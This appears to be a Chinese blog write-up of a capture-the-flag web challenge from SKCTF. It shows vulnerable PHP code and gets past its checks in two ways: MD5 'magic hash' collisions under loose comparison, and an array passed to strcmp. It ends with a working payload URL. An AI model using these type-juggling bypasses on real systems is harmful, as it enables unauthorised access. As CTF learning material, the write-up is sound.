Web安全

前女友(SKCTF)

2018-09-05  本文已影响0人  胖佳儿Clara

打开源代码,出现code.txt

if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];
    $v3 = $_GET['v3'];
    if($v1 != $v2 && md5($v1) == md5($v2)){
        if(!strcmp($v3, $flag)){
            echo $flag;
        }
    }
}
?>

根据v1 !=v2 && md5(v1) == md5(v2):

根据 if(!strcmp(v3,flag))
需要v3和flag值相同才返回flag的值。此处依旧利用函数特性,strcmp函数如果出错,其返回也是0,不可比较时出错,传入数组,例如:
v3[]=8.

综上,构造:
?v1=s878926199a&&v2=s155964671a&&v3[]=8
可得到flag

上一篇下一篇

猜你喜欢

热点阅读